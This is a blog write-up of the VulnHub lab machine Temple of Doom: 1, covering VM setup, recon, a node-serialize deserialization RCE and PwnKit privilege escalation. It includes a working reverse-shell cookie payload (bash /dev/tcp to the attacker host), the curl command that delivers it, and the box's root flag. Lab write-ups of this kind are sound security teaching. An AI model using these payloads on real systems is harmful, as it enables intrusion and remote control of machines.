> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# Temple of Doom: 1 Full Walkthrough — From Environment Hell to PwnKit
- URL: https://taiwanding.com/en/vulnhub-temple-of-doom-1-writeup/
- Published: 2026-07-11T04:33:40.000Z
- Updated: 2026-07-15T02:50:34.000Z
- Author: Kevin Chen
- Tags: #en, #en-machine

> Target: [Temple of Doom: 1](https://www.vulnhub.com/entry/temple-of-doom-1,243/?ref=taiwanding.com) (VulnHub, by 0katz, 2018)  
> Difficulty: Easy/Intermediate, the author notes "2 ways to get root"  
> Environment: WSL2 Kali + libvirt/KVM

## Intro: this isn't just a walkthrough, it's a full battle log

Most Temple of Doom writeups jump straight from nmap to root in a couple of moves. This one is different — it records something more real and far more common: **before I ever finished recon, I spent an entire day wrestling with just getting the VM to boot.**

Half the value of this box is the attack chain itself (the node-serialize RCE is a gorgeous Node.js bug); the other half is all the stuff nobody puts in a writeup: the compatibility hell of running a virtualization environment under WSL2, how to tell what's going on when the service on the intended path never started, and how to hand-craft a PwnKit exploit on a target with no compiler, AI-assisted.

**The full kill chain (spoilers ahead — feel free to skip):**

1. Environment setup (QEMU → libvirt, working around the WSL2/VirtualBox Hyper-V conflict)
2. Recon → a Node.js Express app on port 666
3. The cookie is a Base64 serialized object → break it to blow up a stack trace → confirm `node-serialize`
4. node-serialize deserialization RCE (CVE-2017-5941) → `nodeadmin`
5. Privesc: the intended path (ss-manager injection → fireman → tcpdump) vs. the PwnKit (CVE-2021-4034) I actually took

## 0\. Environment hell: getting this VM to run inside WSL2

This section is honestly worth an article of its own (there's a separate write-up), so I'll condense it here — because it's the part of this box that ate up the most time by far.

### Why bare QEMU and VirtualBox both fail

Running a VulnHub `.ova` inside WSL2 (Intel + RTX 3080 Ti), there are three paths in theory. After testing, only one lived:

- **Bare QEMU + hand-rolled tap/bridge/dnsmasq**: workable but fragile. I kept hitting tap `NO-CARRIER` (multiple QEMU instances fighting over the same tap), mismatched interface names, and port conflicts.
- **VirtualBox**: Oracle's own forums are definitive on this — WSL2 requires Hyper-V, and when Hyper-V is present VirtualBox can only run in "compatibility mode" (the infamous green turtle), which is alpha quality and crashes constantly in practice. This VM ultimately refused to boot under VirtualBox thanks to the missing Host-only adapter combined with the Hyper-V conflict.
- **libvirt/KVM**: the path that finally worked.

### Why libvirt works: a lucky PCI slot coincidence

The key insight: **libvirt's e1000 NIC lands consistently on PCI bus 0 / slot 3, and Linux's predictable naming scheme names it `enp0s3`** — which happens to be exactly the interface name most VirtualBox boxes expect. Bare QEMU's custom topology puts the NIC in a different slot, so the name doesn't match, the guest never brings the NIC up on boot, and it never gets an IP.

That said, Temple of Doom is Fedora 28 and uses NetworkManager to manage the NIC automatically (unlike Debian-family distros that hard-code things in `/etc/network/interfaces`), so it's actually the easiest kind to handle — just import it and it picks up an IP.

The full boot procedure:

```bash
# Unpack + convert to qcow2 (the VMDK inside the .ova is streamOptimized read-only, so it must be converted; keep it on native ext4, not under /mnt)
tar xf temple-of-DOOM-v1.ova
qemu-img convert -p -O qcow2 *.vmdk TempleOfDoom.qcow2

# Before importing, detect the OS / networking mechanism (a lesson paid for in blood on the Node box)
sudo virt-cat -a TempleOfDoom.qcow2 /etc/os-release        # → Fedora 28
# No /etc/network/interfaces (Fedora uses NetworkManager, doesn't care about the interface name)

# Import onto the default NAT network
sudo virt-install --name TempleOfDoom --ram 2048 --vcpus 2 \
  --disk path=TempleOfDoom.qcow2,format=qcow2,bus=sata \
  --network network=default,model=e1000 \
  --os-variant generic --import --graphics vnc,listen=127.0.0.1 --noautoconsole

# Grab the target IP (libvirt's interface is vnet*, not tap0 — don't diagnose the wrong interface)
sudo virsh net-dhcp-leases default        # → 192.168.122.140

```

## 1\. Recon

```bash
sudo nmap -p- -sV -sC 192.168.122.140

```

Only two ports — a very concentrated attack surface:

| Port | Service         | Notes                                                               |
| ---- | --------------- | ------------------------------------------------------------------- |
| 22   | OpenSSH 7.7     | Park it for now                                                     |
| 666  | Node.js Express | Primary attack surface (the number of the beast, on-theme for Doom) |

Port 666 runs a Node.js Express app whose home page just returns `Under Construction, Come Back Later!` (8 bytes), and directory brute-forcing (feroxbuster with a general wordlist) comes up almost empty — which is par for the course with Express: **routes are defined in code, not on the filesystem, so a generic wordlist can't guess them.**

## 2\. Foothold: node-serialize deserialization RCE

### 2.1 Catching the serialized cookie in the response headers

`whatweb` reveals the key detail:

```
Set-Cookie: profile=eyJ1c2VybmFtZSI6IkFkbWluIiwi...
X-Powered-By: Express

```

That `eyJ` prefix is Base64-encoded JSON. Decode it:

```bash
echo "eyJ1c2VybmFtZSI6IkFkbWluIiwi..." | base64 -d
# {"username":"Admin","csrftoken":"...","Expires=":Friday, 13 Oct 2018 ...}

```

The server stuffs identity information into a "client-readable, client-writable Base64 JSON" blob, and the format isn't even standard JSON (`"Expires=":` has unbalanced quoting) — which hints the server uses some kind of **deserialization**, not a plain `JSON.parse`.

### 2.2 Breaking the cookie to blow up a stack trace, confirming node-serialize

One of the most effective recon tricks against a box: **send input the server can't parse and make it cough up an error.**

```bash
curl -s -i http://192.168.122.140:666/ -b "profile=aW52YWxpZA=="

```

The response is a whole Express stack trace, and the gold is in these lines:

```
at Object.exports.unserialize (/home/nodeadmin/.web/node_modules/node-serialize/lib/serialize.js:62:16)
at /home/nodeadmin/.web/server.js:12:29

```

Three decisive pieces of intel:

- It uses **`node-serialize`** (which has the famous RCE bug CVE-2017-5941)
- The app runs as `**nodeadmin**`, out of `/home/nodeadmin/.web/`
- Line 12 of server.js is where it calls `unserialize` on the cookie

Later, once I had a shell and read `server.js`, it confirmed the attack surface:

```javascript
var serialize = require('node-serialize');
app.get('/', function(req, res) {
    if (req.cookies.profile) {
        var str = new Buffer(req.cookies.profile, 'base64').toString();
        var obj = serialize.unserialize(str);   // ← the fatal line
        ...

```

### 2.3 How the node-serialize RCE works, and exploiting it

`node-serialize`'s `unserialize()` has a fatal design flaw: when it encounters a field flagged as a function (the format `_$$ND_FUNC$$_function(){...}`), it uses `eval` to turn it back into a function — and if you append `()` after the function (an IIFE, an immediately-invoked function expression), **that code runs the moment it's deserialized.**

The reverse-shell payload (the attacker IP is `192.168.122.1` on the libvirt subnet):

```bash
# Kali listener
nc -lvnp 4444

# Build the malicious cookie (node child_process reverse bash)
PAYLOAD='{"username":"_$$ND_FUNC$$_function(){require(\"child_process\").exec(\"bash -c \\\"bash -i >& /dev/tcp/192.168.122.1/4444 0>&1\\\"\");}()","csrftoken":"x","Expires=":"x"}'
B64=$(echo -n "$PAYLOAD" | base64 -w0)
curl -s http://192.168.122.140:666/ -b "profile=$B64"

```

The shell fires back, and `id` confirms the foothold:

```
uid=1001(nodeadmin) gid=1001(nodeadmin) groups=1001(nodeadmin)
Linux localhost 4.16.3-301.fc28.x86_64 ... Fedora 28

```

> This IIFE-in-a-cookie technique is the same species as ordinary API command injection: any "user-controlled input treated as code to execute" is an RCE.

## 3\. Privesc: why the intended path was a dead end, and the path I actually took

After landing as `nodeadmin`, privesc stalled for a very long time. This section records two things: **the author's intended path (and why it didn't work this time)**, and **the PwnKit that actually worked.**

### 3.1 System overview

```
Users: nodeadmin(1001), fireman(1002)
Anomaly: /usr/bin/bash and /usr/bin/zip are owned by fireman (0755, no SUID)
SUID: exim (service not running), pkexec, newuidmap/newgidmap, etc.
mysql.bak / wordpress DB: present but root:root, unreadable; no mysql client on the box

```

My initial assumption was "dig through files/the DB for the fireman password," but I searched everywhere and found nothing — the truth only became clear much later.

### 3.2 A few dead ends (recorded so nobody repeats them)

- **exim 4.91 (CVE-2019-10149, raptor\_exim\_wiz)**: the SUID binary is present and the version is affected, but `ss -tlnp | grep 25` shows **the exim service isn't listening at all**. The exploit delivers its payload through exim, so with the service down there's nothing to hit. The author left a "has SUID but isn't running" exim as a decoy.
- **Hunting for passwords**: `.web` only has the Node dependencies, `.config` only has pulseaudio, uploads are all Doom game images, and wp-config is unreadable. The password isn't in any file.
- **CVE-2018-18955 (subuid\_shell)**: linpeas flagged it as highly probable and it hits the Fedora 28 kernel dead-on. After cross-compiling and setting the correct `/etc/subuid` mapping value (`165536`) I did get into namespace root, but — **the uid\_map only maps UID 0-999, and real root (host UID 0) falls outside the mapping** — so `/root` and `/etc/shadow` show up as `nobody:nobody` and stay unreadable. This exploit gives you a "DAC bypass for files inside the mapped range," which can't reach real root's files.

### 3.3 The truth about the intended path (why it broke this time)

Every writeup online takes these two steps, but they all share one prerequisite: **the ss-manager service has to be running.**

The lateral-movement mechanism the author designed is: at boot, either `/etc/rc.d/rc.local` or a fireman `@reboot` cron job starts **ss-manager** (shadowsocks's management daemon), which listens on UDP 8839 — but **this boot that startup mechanism never fired** (the rc.local line was commented out / the cron didn't trigger), so:

- There was no fireman process
- Nobody was listening on UDP 8839
- **Neither of the intended paths had a service to attack**

This explains why "digging for a fireman password" was the wrong direction from the very start — the intended path was never about a password, it was about attacking the ss-manager service, and that service never came up. I didn't go this route, so if you want it, refer to someone else's writeup.

### 3.4 The path I actually took: PwnKit (CVE-2021-4034)

Since the intended path's service was down and every other exploit was stuck, I finally switched to a route no writeup uses but that depends on no service at all — **PwnKit, straight from nodeadmin → root.**

**How it works, in three layers:**

1. **The root cause — pkexec's argv out-of-bounds**: `pkexec` (SUID root) processes `argv` in a loop that starts at `argv[1]`. If you call it via `execve` with **argc=0 (an empty argv)**, the loop reads memory past the end of the argv array — i.e. the environment-variable region — and thus mistakes env vars for arguments, producing an OOB read/write.
2. **The exploit — loading a malicious module via GCONV\_PATH**: during pkexec's run it invokes glibc's character conversion, and glibc loads a gconv module (a `.so`) based on the `GCONV_PATH` environment variable. Using the OOB to inject a controlled `GCONV_PATH` pointing at a malicious `.so` whose constructor is the payload — and because pkexec is SUID root, the payload runs as root when it's loaded → privesc.
3. **Reliability**: this is a logic bug, not memory corruption, so it needs no ASLR bypass and no address leak. Practically every Linux with pkexec is vulnerable, and Fedora 28's (2018) pkexec is of course unpatched (the CVE wasn't published until 2022).

**The customization for this box (the crux: no compiler):**

The target has **no C compiler whatsoever** (`which gcc cc clang tcc` turns up only `make`), and the public PoCs (like `berdav/CVE-2021-4034`) are C that must be compiled — unusable. The fix comes in two parts:

- **The malicious gconv module (`pwnkit.so`)**: **cross-compiled** on Kali (the host), deliberately using only a very old symbol version like `GLIBC_2.2.5` to guarantee it loads on the target's glibc 2.27 (backward compatibility). This piece has to be a pre-built binary because the target can't compile.
- **The trigger (`driver.py`)**: rewritten in **Python + ctypes** (the target has `python3`, no compilation needed) to reimplement the C PoC's trigger logic — because from a shell you can't pass a "truly empty argv" (a shell always includes argv\[0\]), whereas ctypes can directly control `execve` and pass an empty array.

**Firing it:**

```bash
python3 /tmp/.p/driver.py
# drop into a root sh
id                                              # uid=0(root)
cat /root/flag.txt                              # kre0cu4jl4rzjicpo1i7z5l1
python3 -c 'import pty;pty.spawn("/bin/bash")'  # upgrade to a full bash

```

> **Takeaway**: this is actually a great example of "AI-assisted exploit development" — the public PoC couldn't be used as-is (needs compilation, target has no compiler), so working from the bug's underlying principle I reimplemented it using tools the target does have (Python + a cross-compiled .so).

## Methodology you can take with you

- **Attacking Express/Node apps**: routes are defined in code, so generic wordlist brute-forcing often comes up empty. Instead look at response headers, serialized objects (cookies), and break inputs to blow up a stack trace — let the app leak its own structure.
- **Serialization is an attack surface**: when you see a Base64 object + non-standard JSON, first ask "how does it deserialize this?"; `node-serialize`'s IIFE trick is a Node RCE classic.
- **Strategy when privesc stalls**: when one route keeps hitting walls (the intended path's service is down, other exploits' prerequisites aren't met), pivot to a service-independent, reliable route (PwnKit) — but don't forget to circle back and understand the intended design; that's the box's actual teaching core.
- **Targets with no compiler**: cross-compile a static binary, or reimplement the exploit with an interpreter (Python + ctypes) — an essential skill for modern, stripped-down boxes.
- **PwnKit is the privesc Swiss army knife**: a logic bug, no ASLR bypass needed, and nearly every Linux with pkexec is vulnerable; when you're stuck it's worth checking first whether pkexec exists and is unpatched.

*This is an educational writeup of the Temple of Doom: 1 box. Everything was done in an isolated local environment — never test any unauthorized system.*